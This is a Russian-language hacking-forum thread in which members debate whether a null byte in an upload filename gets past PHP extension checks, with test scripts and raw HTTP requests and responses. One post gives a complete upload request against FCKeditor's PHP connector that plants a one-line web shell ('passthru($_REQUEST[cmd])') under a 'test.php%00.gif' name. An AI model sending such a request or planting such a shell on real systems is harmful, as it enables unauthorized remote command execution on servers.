HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.11.2009, 01:13
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию

Цитата:
Сообщение от Scipio  
например при перехватке и редактировании запроса с помощью Tamper Data, после подстановки в конец файла %00 я нажимаю кнопку раскодировать, после этой операции передается именно null байт, а не %00. Да и кстати, в таком случае бага реально работает)
Ты ошибаешься, я тоже так раньше думал. Дело в том что, если передать в любой переменной не закодированный null byte, то при объявлении этой переменной PHP просто обрежет её и null byte в переменную не попадет.

Пример:
PHP без Suhosin, magic_quotes не имело значения

Скрипт up.php:
PHP код:
<?php
if (!empty($_FILES["filename"]["tmp_name"])) {
    echo 
"Имя файла: ".$_FILES["filename"]["name"]."<br>";
}
?>
Запроc:
Цитата:
POST /up.php HTTP/1.1
Host: ads
User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------20312184921287927343357872452
Content-Length: 248

-----------------------------20312184921287927343357872452
Content-Disposition: form-data; name="filename"; filename="thistest.php�.jpg"
Content-Type: application/octet-stream

test
-----------------------------20312184921287927343357872452--
Ответ:
Цитата:
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2009 21:03:10 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.1
Vary: Accept-Encoding
Content-Length: 35
Connection: close
Content-Type: text/html; charset=cp2151

Имя файла: thistest.php
Как видно имя файла без null byte'a
__________________
Cервер cs 1.6
cs.antichat.net:27015

Последний раз редактировалось (Dm); 24.11.2009 в 01:31..
 
Ответить с цитированием

  #2  
Старый 24.11.2009, 02:04
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Цитата:
Сообщение от (Dm)  
Ты ошибаешься, я тоже так раньше думал. Дело в том что, если передать в любой переменной не закодированный null byte, то при объявлении этой переменной PHP просто обрежет её и null byte в переменную не попадет.

+1

Тоже проверил - просто обрезает.

Цитата:
Сообщение от Scipio  
в таком случае бага реально работает
Как минимум для приведенного в статье скрипта, точно не работает.
ЗЫ
Тема открыта.

Последний раз редактировалось [53x]Shadow; 24.11.2009 в 02:56..
 
Ответить с цитированием

  #3  
Старый 24.11.2009, 08:17
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию

(Dm), все таки не могу понять как у тебя получилось обрезать если:
Content-Type: multipart/form-data;
(т.е. %00 оставляет -> %00 (т.е. не преобр. в нулл байт))

Конечно меня токо что осенило не закодированный нулл байт подставить (это у тебя еще в посте #12, да?)
Но я не представляю как будет выглядеть символ нулл байта

Подправьте меня если я ошибся
 
Ответить с цитированием

  #4  
Старый 24.11.2009, 08:26
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию

Цитата:
Сообщение от wolmer  
(Dm), все таки не могу понять как у тебя получилось обрезать если:
Content-Type: multipart/form-data;
(т.е. %00 оставляет -> %00 (т.е. не преобр. в нулл байт))
Если передать null byte в переменной, то что стоит после null byte откинется в этой переменной, для обхода фильтров, проверок - это никак не поможет.
Цитата:
Сообщение от wolmer  
Конечно меня токо что осенило не закодированный нулл байт подставить (это у тебя еще в посте #12, да?)
Да.
Цитата:
Сообщение от wolmer  
Но я не представляю как будет выглядеть символ нулл байта

Подправьте меня если я ошибся
null byte - никак не выглядит, нет такого символа) это нулевой код 0x00. Обычно при выводе отображается как �
__________________
Cервер cs 1.6
cs.antichat.net:27015

Последний раз редактировалось (Dm); 24.11.2009 в 08:41..
 
Ответить с цитированием

  #5  
Старый 26.03.2010, 02:47
smc
Новичок
Регистрация: 09.10.2009
Сообщений: 9
Провел на форуме:
28310

Репутация: 0
По умолчанию

Цитата:
Сообщение от wolmer  
Конечно меня токо что осенило не закодированный нулл байт подставить (это у тебя еще в посте #12, да?)
Но я не представляю как будет выглядеть символ нулл байта
Вопрос к Wolmer и (DM).
если я правильно понял, то вы nullbyte подставляете непосредственно в имя файла (то есть в его реальное имя на диске). а каким методом вы это осуществляете? с клавиатуры вроде не введешь, а перименовать в имя содержащее null char с помощью php или к примеру С вроде нельзя... ?
 
Ответить с цитированием

  #6  
Старый 26.03.2010, 13:29
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Цитата:
Сообщение от smc  
Вопрос к Wolmer и (DM).
если я правильно понял, то вы nullbyte подставляете непосредственно в имя файла (то есть в его реальное имя на диске). а каким методом вы это осуществляете? с клавиатуры вроде не введешь, а перименовать в имя содержащее null char с помощью php или к примеру С вроде нельзя... ?


можно. "\x00"
 
Ответить с цитированием

  #7  
Старый 24.11.2009, 12:37
SQLHACK
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме:
1607210

Репутация: 1617


Отправить сообщение для SQLHACK с помощью ICQ
По умолчанию

ребята , вы че:???
все так и работает, обход ereg/eregi при аплоаде
Причем дата тампер работает в этом случае прикрасно у меня

то есть жмешь раскодить все спец символы превращаются в %xx вот и вставляешь %00 туда, и все гуд.


вы кстати проверьте то что режется как вы говорите, на strlen , так как нул байт может проссто не отображать ваши тулзы при дампе
__________________
Бойтесь своих желаний. Они могут исполниться....

...О-о-о-о, ушами не услышать, глазами не понять!
 
Ответить с цитированием

  #8  
Старый 24.11.2009, 23:30
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Цитата:
Сообщение от SQLHACK  
вы кстати проверьте то что режется как вы говорите, на strlen , так как нул байт может проссто не отображать ваши тулзы при дампе
Такой вариант проверки устроит:
PHP код:
echo $_FILES['uploadedfile']['name'];
echo 
strlen($_FILES['uploadedfile']['name']); 
вывод после передачи 1.php%00.gif и раскодирования в тампер дате:
Код:
1.php
5
 
Ответить с цитированием

  #9  
Старый 26.03.2010, 11:27
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию

2smc нуллбайт вставляется в пакете в названии файла,
скачай inetcrack и попробуй вариации (например таким способом можно было обходит с нуллбайтом в FCKeditor)
пример пакета
Код:
POST /fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP/1.0
Accept: */*
Content-Type: multipart/form-data; 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: site.com
Content-Length: 234
Connection: Close
Pragma: no-cache
Content-Disposition: form-data; name="NewFile"; filename="test.php%00.gif"
Content-Type: text/plain

<? passthru($_REQUEST[cmd]); ?>
 
Ответить с цитированием

  #10  
Старый 27.03.2010, 01:13
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию

Цитата:
то вы nullbyte подставляете непосредственно в имя файла (то есть в его реальное имя на диске)
если в имени файла (который расположен на жест. диске) вставить в прямом смысле %00 то тогда при передаче файла, имя файла будет иметь %2500 (в хеддерах)

т.е. передаем
file_name.php%2500.jpg
Сервер обрабатывает строку (переводит HEX значения в символы)
После обработки получается что сервер сохр. файл на сервере под именем:
file_name.php%00.jpg

Поэтому берем какой нибуть сендер и вручную правим имя файла (т.е. чтобы было не %2500 (при отправке) а %00 (т.е. чтобы сам нулл байт, принимал сервер а не что либо другое))

получается примерно так:
передаем
file_name.php%00.jpg
Сервер обрабатывает строку...
После обработки получается что сервер сохр. файл на сервере под именем:
file_name.php

Т.е. сработал наш нулл байт (при условии что сервер будет принимать content-type: application/x-www-form-urlencoded)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Lineage 2 Chronicle 4 Inferno Болталка 1 02.02.2006 16:44
химия своими руками silveran Болталка 43 11.01.2006 22:05



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ